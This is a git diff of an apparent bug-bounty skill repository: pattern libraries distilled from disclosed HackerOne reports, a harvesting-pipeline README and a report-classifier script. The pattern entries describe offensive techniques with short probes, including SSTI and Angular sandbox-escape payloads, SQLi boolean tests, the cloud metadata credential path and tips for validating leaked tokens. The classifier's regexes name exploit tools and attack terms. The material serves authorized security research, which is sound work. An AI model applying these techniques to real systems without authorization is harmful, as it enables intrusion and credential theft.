- **Pattern shape:** A one-shot state transition (redeem code, withdraw balance, cast vote, claim reward) lacks a per-resource lock or idempotency key. Concurrent execution applies the effect N times before the "already used" flag is written.
- **Key trick:** Identify one-time value operations; fire them in parallel from a clean state and confirm a *ledger* effect (balance/count), not just N×200. Overlaps `hunt-business-logic` for the money variants.
- **Why it matters:** Directly monetizable (double-spend); consistently mid-to-high bounty.
### Timing side-channel via concurrent HTTP/2 streams (timeless timing)
- **Source:** A "timeless timing attack" using concurrent HTTP/2 stream handling to leak partial data without relying on network jitter (<https://hackerone.com/reports/493176>, $2,500).
- **Pattern shape:** Sending two requests in a single HTTP/2 packet makes their *relative* processing order observable independent of network latency — a timing oracle that survives noisy networks, usable to leak secrets a byte at a time or detect state.
- **Key trick:** Use single-packet HTTP/2 to compare two operations' completion order; the ordering leaks the branch taken (valid vs invalid, found vs not). Confirms timing bugs that classic latency measurement can't.
- **Why it matters:** Extends race testing into information leakage; the modern replacement for flaky timing attacks.
### Further disclosed reports (this class)
Additional high-signal public disclosures exemplifying the patterns above; read at source for full technique.
- <https://hackerone.com/reports/1438052> — $5000
- <https://hackerone.com/reports/1520931> — $4000
- <https://hackerone.com/reports/2078571> — $2480
- <https://hackerone.com/reports/119657> — $2000
- <https://hackerone.com/reports/604534> — $0
+105
View File
@@ -50,6 +50,111 @@ RCE remains the highest-paying bug class because the proof is unambiguous (shell
---
### Dependency confusion → RCE in build / CI
- **Source:** Development projects defaulting to the public NPM registry instead of the internal one, enabling dependency confusion (<https://hackerone.com/reports/925585>, $30,000).
- **Pattern shape:** An internal package name is resolvable on a public registry (npm/PyPI/RubyGems). An attacker publishes a higher-version malicious package under that name; the victim's build/CI pulls it and executes install-time code → RCE in a privileged build context.
- **Key trick:** Harvest internal package names from leaked `package.json`/lockfiles/source maps (pairs with `hunt-source-leak`); check public-registry availability and scope claimability. Prove impact with a benign callback (`preinstall` → OOB), never a destructive payload.
- **Why it matters:** Supply-chain RCE reaching CI secrets; top-tier bounty, low duplicate rate.
### Archive / decompression / file-render RCE
- **Source:** A decompressed-archive size-validator bypass (<https://hackerone.com/reports/1609965>, $33,510); a file-extension handling flaw in an upload proxy (<https://hackerone.com/reports/1154542>, $20,000); wiki-content rendering that invoked a command on certain extensions (<https://hackerone.com/reports/1125425>, $20,000).
- **Pattern shape:** A server processes attacker-controlled files — extracting archives, rendering documents/wikis, transforming images — and an unsafe handler (a shell-out renderer, a vulnerable parser, an extension-to-processor map) executes code from the file's content or name.
- **Key trick:** Map every file-processing pipeline (upload → render/convert/extract). Test extensions that route to a code-capable processor (`.rmd`, `.svg`, office macros, `.tar` with traversal). Confirm execution with an OOB callback.
- **Why it matters:** File-processing RCE is a dominant modern class; consistently $20k+.
### Import / integration → command execution
- **Source:** Remote command execution via a source-import (from-GitHub) feature (<https://hackerone.com/reports/1679624>, $33,510).
- **Pattern shape:** An import/mirror/integration feature clones or fetches an attacker-controlled repository/URL and runs a build, hook, or interpreter over its contents (`.git/hooks`, CI config, a Makefile, a lockfile install script) — executing attacker code server-side.
- **Key trick:** Point import/mirror features at an attacker repo containing hooks/CI/build files; watch for server-side execution. Pairs with the dependency-confusion and archive vectors above.
- **Why it matters:** Import features are a recurring RCE surface on dev/collaboration platforms.
### Further disclosed reports (this class)
Additional high-signal public disclosures exemplifying the patterns above; read at source for full technique.
- <https://hackerone.com/reports/591295> — $20160
- <https://hackerone.com/reports/873614> — $15000
- <https://hackerone.com/reports/658013> — $12000
- <https://hackerone.com/reports/181879> — $18000
- <https://hackerone.com/reports/587854> — $12000
- <https://hackerone.com/reports/2177925> — $12500
- <https://hackerone.com/reports/470520> — $0
- <https://hackerone.com/reports/584603> — $9000
- <https://hackerone.com/reports/1168765> — $10000
- <https://hackerone.com/reports/852613> — $10000
- <https://hackerone.com/reports/807772> — $7500
- <https://hackerone.com/reports/365271> — $5000
- <https://hackerone.com/reports/463286> — $7500
- <https://hackerone.com/reports/2255750> — $8000
- <https://hackerone.com/reports/422944> — $0
- <https://hackerone.com/reports/682442> — $7000
- <https://hackerone.com/reports/403417> — $0
- <https://hackerone.com/reports/1070835> — $7500
- <https://hackerone.com/reports/876719> — $7500
- <https://hackerone.com/reports/138869> — $7000
- <https://hackerone.com/reports/1418891> — $6000
- <https://hackerone.com/reports/506646> — $0
- <https://hackerone.com/reports/630462> — $3645
- <https://hackerone.com/reports/733267> — $5000
- <https://hackerone.com/reports/129873> — $0
- <https://hackerone.com/reports/1104874> — $5000
- <https://hackerone.com/reports/2438265> — $4860
- <https://hackerone.com/reports/1200647> — $5000
- <https://hackerone.com/reports/502758> — $0
- <https://hackerone.com/reports/2231019> — $5000
- <https://hackerone.com/reports/544928> — $0
- <https://hackerone.com/reports/180074> — $0
- <https://hackerone.com/reports/513154> — $3000
- <https://hackerone.com/reports/653125> — $3500
- <https://hackerone.com/reports/861744> — $5000
- <https://hackerone.com/reports/783877> — $0
- <https://hackerone.com/reports/1776476> — $4000
- <https://hackerone.com/reports/231053> — $3000
- <https://hackerone.com/reports/631956> — $0
- <https://hackerone.com/reports/1065500> — $0
- <https://hackerone.com/reports/946409> — $0
- <https://hackerone.com/reports/1401444> — $3000
- <https://hackerone.com/reports/487008> — $0
- <https://hackerone.com/reports/484745> — $3000
- <https://hackerone.com/reports/397545> — $0
- <https://hackerone.com/reports/851807> — $0
- <https://hackerone.com/reports/544096> — $2500
- <https://hackerone.com/reports/1024575> — $0
- <https://hackerone.com/reports/1728174> — $2500
- <https://hackerone.com/reports/1620702> — $2500
- <https://hackerone.com/reports/550625> — $2500
- <https://hackerone.com/reports/540242> — $2000
- <https://hackerone.com/reports/1672388> — $0
- <https://hackerone.com/reports/1891795> — $2400
- <https://hackerone.com/reports/833080> — $1500
- <https://hackerone.com/reports/298873> — $2000
- <https://hackerone.com/reports/1027822> — $0
- <https://hackerone.com/reports/402362> — $2000
- <https://hackerone.com/reports/1705717> — $2000
- <https://hackerone.com/reports/212696> — $0
- <https://hackerone.com/reports/1652042> — $2000
- <https://hackerone.com/reports/329689> — $0
- <https://hackerone.com/reports/125218> — $2000
- <https://hackerone.com/reports/1624137> — $1000
- <https://hackerone.com/reports/722327> — $1500
- <https://hackerone.com/reports/473888> — $1500
- <https://hackerone.com/reports/152398> — $1000
- <https://hackerone.com/reports/1078002> — $1000
- <https://hackerone.com/reports/113928> — $1500
- <https://hackerone.com/reports/98259> — $1500
- <https://hackerone.com/reports/122113> — $1500
- <https://hackerone.com/reports/351014> — $0
- <https://hackerone.com/reports/1624172> — $1000
- <https://hackerone.com/reports/152399> — $1000
- <https://hackerone.com/reports/116286> — $1000
- <https://hackerone.com/reports/152400> — $1000
- <https://hackerone.com/reports/99424> — $1000
- <https://hackerone.com/reports/127212> — $1000
- <https://hackerone.com/reports/114079> — $1000
- <https://hackerone.com/reports/114078> — $1000
- <https://hackerone.com/reports/167688> — $1000
- <https://hackerone.com/reports/106548> — $1000
## Pattern Library
### Java deserialization on a non-obvious endpoint
+20
View File
@@ -30,6 +30,26 @@ SAML attacks pay top-tier bounties because a single forged assertion silently im
- **Key trick:** Read the cheat sheet as an inverted bug list. Every "MUST" is a recurring bug somewhere.
- **Why it matters:** Authoritative reference. When writing a report, citing the specific OWASP recommendation that was violated short-circuits a lot of triage debate.
## Disclosed HackerOne Reports (bounty-paid examples)
Bounty-paid public disclosures for this class, on top of the research/CVE grounding above. Targets genericized; each links its source.
### Signature verification bypass / XSW → auth as any user (disclosed bounty examples)
- **Source:** Disclosed across multiple programs (<https://hackerone.com/reports/223014>, <https://hackerone.com/reports/2579939>, <https://hackerone.com/reports/136169>).
- **Pattern shape:** The SP accepts an assertion whose signature isn't properly validated — unsigned assertion, signature over the wrong element (XSW), or bypassed verification — so an attacker forges the `NameID` and logs in as anyone.
- **Key trick:** Capture a valid SAMLResponse, then: strip the signature, wrap the signed element and inject a forged assertion (XSW), or swap the `NameID`. Any accepted variant = full auth bypass.
- **Why it matters:** Authenticate as arbitrary users including admins; enterprise-critical, consistently four-to-five figures.
### RelayState / ACS URL validation → ATO / open redirect
- **Source:** Disclosed across multiple programs (<https://hackerone.com/reports/1923672>, <https://hackerone.com/reports/2101076>).
- **Pattern shape:** Insufficient validation of RelayState or the ACS/return URL lets an attacker redirect the authenticated flow to a controlled endpoint or bind SSO to an attacker-chosen account.
- **Key trick:** Tamper RelayState and the ACS URL; check whether the assertion or session lands on an attacker origin. Chain with signup domain-enforcement bypass where SSO auto-provisions accounts.
- **Why it matters:** Captures the SSO assertion or hijacks provisioning → ATO across the SSO-federated surface.
### Further disclosed reports (this class)
- <https://hackerone.com/reports/171398>
---
## Pattern Library
@@ -0,0 +1,33 @@
# hunt-source-leak — Pattern Library
> Patterns and verifiable public examples behind `hunt-source-leak`. Operator-grade reference, not a complete enumeration. Cited examples are widely-discussed public disclosures; targets are genericized (the technique is the value, not the specific victim). Distilled from disclosed HackerOne reports; each entry links its source.
Source and secret leakage pays consistently because the proof is direct — a valid token, a readable private repo, an exposed admin console — and the impact chains immediately to code access, infrastructure compromise, or account takeover. The patterns below cluster around where secrets actually escape: version-control artifacts, client-side bundles, over-serialized API responses, exposed non-prod services, and public breach corpora. Every entry names the validation that separates a real leak from a redacted or already-rotated one.
## Cited Public Examples
### VCS / SaaS access token committed to a public artifact
- **Source:** Disclosed across many programs — e.g. a valid GitHub access token with read/write to private org repos found inside a shipped desktop app (<https://hackerone.com/reports/1087489>, $50,000); a personal access token left in public CI build logs (<https://hackerone.com/reports/215625>); a token leaked on a third-party VCS granting private-repo access (<https://hackerone.com/reports/1266188>); a Jira API token committed to a public GitHub repo (<https://hackerone.com/reports/1785145>).
- **Pattern shape:** A long-lived credential (GitHub PAT/OAuth token, Jira/SaaS API token) is committed to — or embedded in — a publicly reachable artifact: a source repo, a shipped binary/app bundle, or CI build logs. The token itself carries broad scope (repo read/write, admin API), so possession = access regardless of the app's own auth.
- **Key trick:** The leak is rarely in the target's own repo — check adjacent surfaces the developer forgot were public: a mobile/desktop app bundle, a personal fork, a third-party mirror (Bitbucket/GitLab), CI logs, and old commits (`git log -p`, trufflehog over full history). Validate scope with a read-only call (`GET /user`, `GET /rest/api/2/myself`) before reporting — never mutate.
- **Why it matters:** One committed token collapses the entire "the app is well-authenticated" story. Highest-severity source-leak class; frequently Critical with four-to-five-figure bounties.
### API key shipped in client JS without service-side restriction
- **Source:** A Google Maps API key embedded in a public `index.js`, intentionally client-side but lacking HTTP-referer / API restrictions, enabling paid-service abuse (<https://hackerone.com/reports/3250315>).
- **Pattern shape:** A key that is *public-by-design* (maps, analytics, a Firebase config) is shipped in client JS but not scoped — no referer/origin allowlist, no per-API restriction, no quota cap. An attacker lifts it from the bundle and bills the target's account or reaches unintended APIs under it.
- **Key trick:** "It's a public key" is not a triage-killer. The finding is the *missing restriction*, not the presence of the key. Demonstrate impact: call a billable/restricted API from an unlisted origin and show it succeeds. A key that is correctly referer-locked is not a bug.
- **Why it matters:** Separates public-by-design SPA identifiers (info) from real cost/data exposure (payable). The distinction is exactly what triage teams reward for getting right.
### Over-serialization leaking embedded secrets
- **Source:** An endpoint that serialized a full Project model returned the CI Runner token (encrypted and unencrypted) to a caller without access to that project (<https://hackerone.com/reports/509924>, $12,000).
- **Pattern shape:** An API serializes an entire ORM object and returns it, exposing attributes the caller should never see — internal tokens, secret keys, `password_digest`, provisioning credentials — because the serializer emits all model fields instead of an allowlist. Often reachable by referencing an object the caller doesn't own (IDOR + over-serialization chain).
- **Key trick:** Diff the JSON of an object you *do* own against one you shouldn't; grep every API response for `token`, `secret`, `key`, `_digest`. The secret is frequently already in a response you looked at — just below the fold of the fields the UI renders.
- **Why it matters:** Chains cleanly to infra compromise (a Runner/deploy token → pipeline RCE). Pairs with `hunt-idor` when the over-serialized object is cross-tenant.
### Live secrets in exposed logs / debug / forgotten test endpoints
- **Source:** A test endpoint exposing application logs and live bearer tokens (<https://hackerone.com/reports/2844797>).
- **Pattern shape:** A forgotten debug/log/test endpoint (matching this skill's Phase 5) serves application logs, verbose stack traces, or request dumps that contain live bearer tokens, session cookies, or internal API keys — the artifact is the *log*, not the code, but it leaks the same secrets.
- **Key trick:** After the Phase-1/5 forgotten-files sweep, actually *read* what the debug/log endpoint returns — grep the body for `Authorization:`, `Bearer `, `token`, `set-cookie`. A verbose log is only Info until you find a live credential in it, then it's Critical.
- **Why it matters:** Closes the loop between artifact discovery (the skill's methodology) and secret capture. Pairs with `hunt-exceptional-conditions` when the log is triggered by forcing an error.
---
+42
View File
@@ -32,6 +32,48 @@ SQL injection has been on the OWASP Top 10 since 2003 and still pays out at the
---
### Unvalidated parameter → SQL injection → data extraction
- **Source:** An unvalidated parameter on a reporting page enabling reads of SQL data (<https://hackerone.com/reports/383127>, $25,000); SQL injection in a public dashboard endpoint (<https://hackerone.com/reports/297478>); SQLi in a CMS plugin (<https://hackerone.com/reports/273946>, $4,500).
- **Pattern shape:** A request parameter (search, filter, id, sort, an XML/report generator) is concatenated into a SQL query without parameterization. Classic union-based, error-based, or boolean/time-blind extraction of arbitrary tables follows.
- **Key trick:** Fuzz every parameter (including headers, JSON fields, and XML values) with `'`, `"`, `)`, and boolean pairs (`1 AND 1=1` vs `1 AND 1=2`); confirm a differential. For blind, use time delays; for stacked, test the DB's separator. Legacy report/export endpoints (`*.php?...xml`) are recurring high-value spots.
- **Why it matters:** Direct database read; still pays top-tier ($25k here) on legacy/partner endpoints scanners miss.
### SQLi in a backend service / ORM layer
- **Source:** A SQL injection in a web service backed by MS SQL Server (<https://hackerone.com/reports/531051>).
- **Pattern shape:** The injection is not in the obvious web form but in a downstream service, an ORM raw-query escape hatch, or an internal API that trusts an upstream-supplied value. The DB engine (MSSQL/Postgres/MySQL) determines the exploitation primitives (stacked queries, `xp_cmdshell`, `COPY ... TO PROGRAM`).
- **Key trick:** Trace parameters that flow to internal services; test ORM raw-query endpoints and search DSLs. Identify the engine (error strings, timing) to pick the right escalation (MSSQL `xp_cmdshell` → RCE).
- **Why it matters:** Backend SQLi often escalates to RCE via DB-specific features; overlaps `hunt-rce`.
### Further disclosed reports (this class)
Additional high-signal public disclosures exemplifying the patterns above; read at source for full technique.
- <https://hackerone.com/reports/403616> — $4500
- <https://hackerone.com/reports/2051931> — $4134
- <https://hackerone.com/reports/150156> — $4000
- <https://hackerone.com/reports/2646493> — $4263
- <https://hackerone.com/reports/1044716> — $2000
- <https://hackerone.com/reports/125932> — $3000
- <https://hackerone.com/reports/952501> — $2000
- <https://hackerone.com/reports/761304> — $0
- <https://hackerone.com/reports/206872> — $2500
- <https://hackerone.com/reports/476150> — $2500
- <https://hackerone.com/reports/838855> — $2000
- <https://hackerone.com/reports/836079> — $2000
- <https://hackerone.com/reports/1895277> — $2400
- <https://hackerone.com/reports/298176> — $2000
- <https://hackerone.com/reports/962889> — $0
- <https://hackerone.com/reports/592400> — $0
- <https://hackerone.com/reports/549355> — $0
- <https://hackerone.com/reports/361623> — $1500
- <https://hackerone.com/reports/300176> — $1000
- <https://hackerone.com/reports/1039315> — $0
- <https://hackerone.com/reports/1224660> — $0
- <https://hackerone.com/reports/358669> — $1000
- <https://hackerone.com/reports/258582> — $1000
- <https://hackerone.com/reports/297534> — $1000
- <https://hackerone.com/reports/301257> — $1000
## Pattern Library
### Classic union-based extraction
+51
View File
@@ -32,6 +32,57 @@ SSRF earns its place at the top of the impact ladder because every modern applic
---
### URL-fetching feature → SSRF (import / preview / attachment)
- **Source:** SSRF via a project-import `remote_attachment_url` (<https://hackerone.com/reports/826361>, $10,000); full-read SSRF via a docs "import as docs" feature (<https://hackerone.com/reports/1409727>, $5,000); partially-blind SSRF via a chat `preview_url` endpoint reaching internal services (<https://hackerone.com/reports/1960765>, $6,000).
- **Pattern shape:** A feature that fetches a user-supplied URL server-side — import-from-URL, link preview/unfurl, remote attachment, avatar-from-URL, webhook tester — is the SSRF workhorse. The server makes the request with its own network position, reaching internal hosts, cloud metadata, or link-local addresses.
- **Key trick:** Inventory every "give us a URL and we'll fetch it" feature. Test internal targets (`http://169.254.169.254/`, `http://localhost:<admin-port>`, internal hostnames) and blind exfil (Collaborator/OOB). Bypass allowlists with redirects, DNS rebinding, and alternate IP encodings.
- **Why it matters:** Highest-frequency SSRF entry point; the import/preview class dominates disclosed SSRF.
### SSRF → cloud metadata / internal control plane → infra compromise
- **Source:** A critical SSRF via an analytics/reporting feature (<https://hackerone.com/reports/2262382>, $25,000); an SSRF that reached the metadata service and led to root access across containers in an infrastructure subset (<https://hackerone.com/reports/341876>).
- **Pattern shape:** The SSRF reaches the cloud instance-metadata endpoint (`169.254.169.254/latest/meta-data/iam/security-credentials/`) and lifts IAM role credentials, or reaches an internal orchestration/admin API. Credentials → lateral movement → root/infra compromise.
- **Key trick:** Once any SSRF is confirmed, always try the metadata endpoint and internal service ports before reporting — the severity (and bounty) jumps an order of magnitude when it yields credentials. On IMDSv2, chain the `PUT` token step.
- **Why it matters:** Turns a "server made a request" finding into full infrastructure takeover.
### Protocol / proxy SSRF (TURN, gopher, non-HTTP)
- **Source:** A TURN server permitted TCP/UDP proxying to the internal network and AWS metadata (<https://hackerone.com/reports/333419>, $3,500).
- **Pattern shape:** A non-HTTP relay (TURN/STUN for WebRTC, an open proxy, a gopher/dict-capable fetcher) forwards attacker traffic to arbitrary internal hosts/ports — a broader SSRF than HTTP-only, reaching databases and metadata over raw TCP/UDP.
- **Key trick:** For real-time/media features, test whether the TURN/STUN relay accepts arbitrary peer addresses (internal IPs, metadata). For HTTP fetchers, probe `gopher://`/`dict://` to reach non-HTTP internal services.
- **Why it matters:** Escapes the "HTTP-only SSRF" mental model; reaches services an HTTP fetch can't.
### Further disclosed reports (this class)
Additional high-signal public disclosures exemplifying the patterns above; read at source for full technique.
- <https://hackerone.com/reports/746024> — $4500
- <https://hackerone.com/reports/2429894> — $4860
- <https://hackerone.com/reports/671935> — $4000
- <https://hackerone.com/reports/374737> — $3500
- <https://hackerone.com/reports/892049> — $3000
- <https://hackerone.com/reports/1062888> — $2727
- <https://hackerone.com/reports/530974> — $0
- <https://hackerone.com/reports/2301565> — $2500
- <https://hackerone.com/reports/632101> — $0
- <https://hackerone.com/reports/590020> — $0
- <https://hackerone.com/reports/3176157> — $2000
- <https://hackerone.com/reports/549882> — $0
- <https://hackerone.com/reports/1189367> — $0
- <https://hackerone.com/reports/826097> — $1000
- <https://hackerone.com/reports/265050> — $1500
- <https://hackerone.com/reports/347139> — $1500
- <https://hackerone.com/reports/878779> — $0
- <https://hackerone.com/reports/2035332> — $500
- <https://hackerone.com/reports/508459> — $0
- <https://hackerone.com/reports/811136> — $1000
- <https://hackerone.com/reports/707014> — $1350
- <https://hackerone.com/reports/429617> — $1000
- <https://hackerone.com/reports/1719719> — $1000
- <https://hackerone.com/reports/398641> — $0
- <https://hackerone.com/reports/644238> — $0
- <https://hackerone.com/reports/3024673> — $0
- <https://hackerone.com/reports/305974> — $1000
- <https://hackerone.com/reports/1624140> — $1000
## Pattern Library
### Direct internal-IP fetch (no validation)
+21
View File
@@ -30,6 +30,27 @@ Server-side template injection is the easiest path from "reflected input" to "re
- **Key trick:** SSTI almost always lives in features where the developer *intentionally* lets users write template syntax (email subject lines that embed `{{ first_name }}`, CMS preview, marketing automation). The vulnerability is "we let users write templates without sandboxing them" — not "we accidentally rendered user input."
- **Why it matters:** The hunt is "find the feature that says users can use placeholders." That feature is the SSTI candidate. Marketing automation, transactional email designers, and PDF invoice generators are perennial wins.
## Disclosed HackerOne Reports (bounty-paid examples)
Bounty-paid public disclosures for this class, on top of the research/CVE grounding above. Targets genericized; each links its source.
### Server-side template injection → RCE (disclosed bounty examples)
- **Source:** Disclosed across multiple programs (<https://hackerone.com/reports/125980>, <https://hackerone.com/reports/164224>, <https://hackerone.com/reports/217790>).
- **Pattern shape:** User input is concatenated into a server-side template (email template, PDF generator, name/label field) and evaluated. `{{7*7}}`/`${7*7}`/`#{7*7}` returns 49 → engine executes attacker expressions → RCE.
- **Key trick:** Send the engine-specific arithmetic probe in every reflected field, especially email/PDF/report templates and CMS label editors. On a hit, escalate to `config`/`os`/`Runtime` per engine.
- **Why it matters:** Reliable path to RCE; Jinja2/Smarty/Freemarker SSTI routinely pays five figures in disclosed programs.
### Client-side template injection (Angular/Vue) → XSS/sandbox escape
- **Source:** Disclosed across multiple programs (<https://hackerone.com/reports/125027>).
- **Pattern shape:** A framework template expression is injected client-side; sandbox escapes turn `{{ }}` evaluation into script execution even under CSP.
- **Key trick:** Probe `{{constructor.constructor('alert(1)')()}}`-style payloads where the SPA renders user input as a template. Confirm execution; note the framework version.
- **Why it matters:** XSS that bypasses naive HTML-encoding filters because it rides the template engine, not raw HTML.
### Further disclosed reports (this class)
- <https://hackerone.com/reports/423541>
- <https://hackerone.com/reports/2332623>
---
## Pattern Library
@@ -0,0 +1,23 @@
# hunt-tls-network — Pattern Library
> Patterns and verifiable public examples behind `hunt-tls-network`. Operator-grade reference, not a complete enumeration. Cited examples are widely-discussed public disclosures; targets are genericized (the technique is the value, not the specific victim). Distilled from disclosed HackerOne reports; each entry links its source.
Email-auth and transport hardening gaps: missing/`+all` SPF, `p=none` DMARC, absent or bypassable HSTS. Individually often Low, but email-spoofing (no SPF/DMARC enforcement) enables phishing and reset-poisoning chains, and HSTS gaps enable downgrade.
## Cited Public Examples
### Missing / permissive SPF + DMARC → email spoofing
- **Source:** Disclosed across multiple programs (<https://hackerone.com/reports/1030042>, <https://hackerone.com/reports/629087>, <https://hackerone.com/reports/120>).
- **Pattern shape:** The domain publishes no SPF, an `+all` SPF, or `p=none` DMARC, so mail from the domain isn't authenticated — an attacker sends spoofed mail as the org (phishing, reset-link injection, invoice fraud).
- **Key trick:** `dig TXT domain`, `dig TXT _dmarc.domain`. `+all` or missing SPF and `p=none`/absent DMARC = spoofable. Demonstrate by sending an authenticated-looking spoof to a controlled inbox. Chain into `hunt-forgot-password` reset-poisoning.
- **Why it matters:** Business-email-compromise and phishing enabler; higher impact when it chains to account recovery or internal trust.
### HSTS missing / bypassable → downgrade
- **Source:** Disclosed across multiple programs (<https://hackerone.com/reports/221955>, <https://hackerone.com/reports/2279759>).
- **Pattern shape:** No `Strict-Transport-Security`, duplicate/conflicting HSTS headers (ignored by some browsers), or long-filename edge cases clear the policy — leaving a TLS-downgrade / SSL-strip window.
- **Key trick:** Check for HSTS on the apex + subdomains and for duplicate headers. Confirm the browser actually honors it. Report with the concrete downgrade scenario, not just the header absence.
- **Why it matters:** Enables active-MITM downgrade on first/again visits; matters most on auth and payment origins.
### Further disclosed reports (this class)
- <https://hackerone.com/reports/461780>
+1 -1
View File
@@ -25,7 +25,7 @@ platform CVE chains, and the hygiene, and it stays in scope.
- **83 skills** across recon, 58 web-app vuln-class + framework skills, enterprise
platform attack, red-team tradecraft, and reporting — all **auto-loading by topic**,
no invocation by name.
- **681 disclosed-report patterns** curated from public HackerOne reports.
- **681 disclosed-report patterns** curated from public HackerOne reports — 433 now individually cited & auditable.
- **Enterprise attack matrices** — M365/Entra, Okta, SharePoint, vCenter, SSL-VPN,
Android APK, supply-chain — with current 2024–2026 CVE chains.
- **Reporting + validation** — 7-Question Gate, VRT mapping, evidence hygiene,
+70
View File
@@ -0,0 +1,70 @@
# Disclosed-report harvest → coverage-gap → curation pipeline
Ingests real disclosed bug-bounty reports and turns them into **candidate** pattern
entries that you curate into skills. It never auto-writes skill content — it
collects, finds coverage gaps, and drafts skeletons. You own the curation.
## Why it's shaped this way (honest constraints)
- **HackerOne carries the value.** Public GraphQL gives full metadata; each report
page exposes a ~400-char summary via its `<meta description>`. **Full writeup
bodies are gated behind login** even for disclosed reports (`vulnerability_information`
is null unauthenticated) — pass your own H1 session cookie (`--h1-cookie`) to fetch
them, or read the full report at its URL during curation.
- **Bugcrowd is metadata-only.** CrowdStream exposes program/priority/target/researcher
— no title or technique. Collected as a *reference feed* (raw/bugcrowd/), **not** a
pattern source.
- **Intigriti has no public feed** (disclosure is approval-gated). `harvest_intigriti.py`
is an honest stub; curate Intigriti write-ups by hand.
- **Never verbatim.** Reports are copyrighted by their authors; the repo distills
patterns + cites the URL and genericizes targets to `target.com`. Raw corpus,
drafts, and gaps stay gitignored.
- **Rate-limited, resumable, personal-research scale.** No official bulk API exists.
## The loop
```
# 1. collect (network; writes to gitignored raw/)
python3 research/reports/harvest_h1.py --sort bounty --limit 100
python3 research/reports/harvest_h1.py --sort votes --limit 200
# optional full bodies (your H1 session): --h1-cookie "$H1_COOKIE"
python3 research/reports/harvest_bugcrowd.py --pages 5 # metadata reference only
# 2. see what your skills DON'T cover yet (network-free)
python3 research/reports/report_coverage.py # -> research/reports/gaps.md
# 3. draft skeletons for a chosen skill (network-free; writes to gitignored drafts/)
python3 research/reports/draft_patterns.py --skill hunt-ato
# 4. CURATE (you): edit drafts/hunt-ato.md — fill the TODOs, confirm technique at the
# source, keep targets generic. Move approved entries into
# docs/disclosed-reports/hunt-ato.md, update skills/hunt-ato/SKILL.md, and bump
# report_count by the number actually added. New-technique candidates -> new skill.
# 5. guard + regenerate before committing
python3 scripts/scan_identifiers.py # no real client/target identifiers
python3 scripts/lint_skills.py # grounding + structure
python3 scripts/check_doc_counts.py
python3 scripts/gen_skill_catalog.py ; python3 scripts/gen_skill_index.py
```
## Files
| File | Role |
|---|---|
| `harvest_h1.py` | HackerOne collector — metadata + summary snippet (public); full body via `--h1-cookie` |
| `harvest_bugcrowd.py` | CrowdStream metadata reference feed (not a pattern source) |
| `harvest_intigriti.py` | honest stub (no public feed) |
| `classify_reports.py` | report → vuln class → `hunt-*` skill (CWE + title heuristics) |
| `report_coverage.py` | gap detector — ranked uncovered reports per skill + new-technique candidates |
| `draft_patterns.py` | auto-draft skeleton pattern entries (genericized, TODO markers) |
| `test_pipeline.py` | network-free sanity check (classify + genericize + skeleton) |
`raw/`, `drafts/`, `gaps.md`, `processed.json` are gitignored runtime artifacts.
## Honest ceiling
This accelerates *discovery and drafting*; it does not replace judgment. Pattern
quality, target genericization, `report_count`, and the "681" headline stay human-set.
Most marginal reports repeat known patterns — the win is filling under-grounded skills
and surfacing genuinely new techniques, which the gap report ranks for you.
+128
View File
@@ -0,0 +1,128 @@
#!/usr/bin/env python3
"""
classify_reports.py — map each raw report to a vuln class -> hunt-* skill.
Matches the report's title + CWE + summary against a specificity-ordered map of
ALL hunt-* skills (framework/platform-specific first, then specific vuln classes,
then broad classes). First match wins, so a report lands on its MOST specific skill.
Reports matching nothing are 'unmapped' — genuine new-technique candidates (NOT
force-binned to hunt-misc, which stays a curated catch-all).
Reads research/reports/raw/**/*.json (title-bearing records only). Network-free.
Usage: python3 research/reports/classify_reports.py
"""
import glob
import json
import os
import re
import sys
HERE = os.path.dirname(os.path.abspath(__file__))
RAW = os.path.join(HERE, "raw")
SKILLS = os.path.join(os.path.dirname(os.path.dirname(HERE)), "skills")
# (skill, regex). Order = specificity: most-specific tech/platform first.
RULES = [
# --- framework / platform / tech-specific (most specific) ---
("hunt-nextjs", r"next\.?js|_next/|server action|middleware auth bypass"),
("hunt-laravel", r"laravel|ignition|telescope|horizon|app_debug"),
("hunt-springboot", r"spring ?boot|actuator|heapdump|spring expression|spel|jolokia"),
("hunt-nodejs", r"node\.?js|prototype pollution|express|lodash|child_process"),
("hunt-aspnet", r"asp\.?net|viewstate|machinekey|trace\.axd|__viewstate"),
("hunt-sharepoint", r"sharepoint"),
("hunt-k8s", r"kubernetes|kubelet|\bk8s\b|etcd|\bdocker\b|container escape|rbac"),
("hunt-cicd", r"ci/cd|github action|pull_request_target|self.?hosted runner|pipeline inject|oidc trust|workflow inject"),
("hunt-grpc", r"\bgrpc\b|protobuf|server reflection"),
("hunt-websocket", r"websocket|\bws\b handshake|cswsh|cross.?site websocket"),
("hunt-fintech-graphql", r"(ledger|wallet|payment|transfer|withdraw|balance|redeem).{0,30}graphql|graphql.{0,30}(ledger|money|transfer|balance)"),
("hunt-graphql", r"graphql"),
("hunt-saml", r"\bsaml\b|xml signature wrapping|\bxsw\b|assertion consumer"),
("hunt-oauth", r"\boauth\b|authorization code|redirect_uri|openid|oidc"),
("hunt-jwt-crypto", r"\bjwt\b|json web token|alg.?none|rs256|hs256|key confusion"),
("hunt-ntlm-info", r"\bntlm\b|negotiate challenge|type-2 challenge"),
("hunt-llm-ai", r"prompt inject|\bllm\b|indirect injection|jailbreak|ascii smuggl|agentic|tool.?use exfil"),
("hunt-rag-vector", r"\brag\b|vector store|embedding|corpus poison"),
# --- specific vuln classes ---
("hunt-ssrf", r"\bssrf\b|server.?side request forgery|metadata (endpoint|service)|169\.254\.169\.254"),
("hunt-ssti", r"\bssti\b|template inject|jinja|twig|freemarker|\berb\b|velocity"),
("hunt-xxe", r"\bxxe\b|xml external entit"),
("hunt-deserialization", r"deserializ|ysoserial|pickle|binaryformatter|marshal\.load|gadget chain|log4shell|\bjndi\b|phpggc|object injection"),
("hunt-http-smuggling", r"request smuggl|desync|\bcl\.te\b|\bte\.cl\b|h2\.cl|h2\.te"),
("hunt-cache-poison", r"cache poison|web cache|unkeyed (header|input)"),
("hunt-nosqli", r"nosql|mongo(db)? inject|\$where|\$regex|\$ne\b|couchdb"),
("hunt-ldap", r"\bldap\b inject|\bldap\b|xpath inject"),
("hunt-lfi", r"\blfi\b|\brfi\b|local file inclu|remote file inclu|path travers|directory travers|/etc/passwd|filter.?chain"),
("hunt-sqli", r"\bsqli?\b|sql inject|blind sql|union select|error.?based sql"),
("hunt-rce", r"remote code execution|\brce\b|command inject|code inject|arbitrary command|shell (upload|command)"),
("hunt-dom", r"dom clobber|postmessage|post.?message|service worker|dom.?based|dom xss|client.?side prototype"),
("hunt-xss", r"\bxss\b|cross.?site script|stored script|reflected script|javascript inject"),
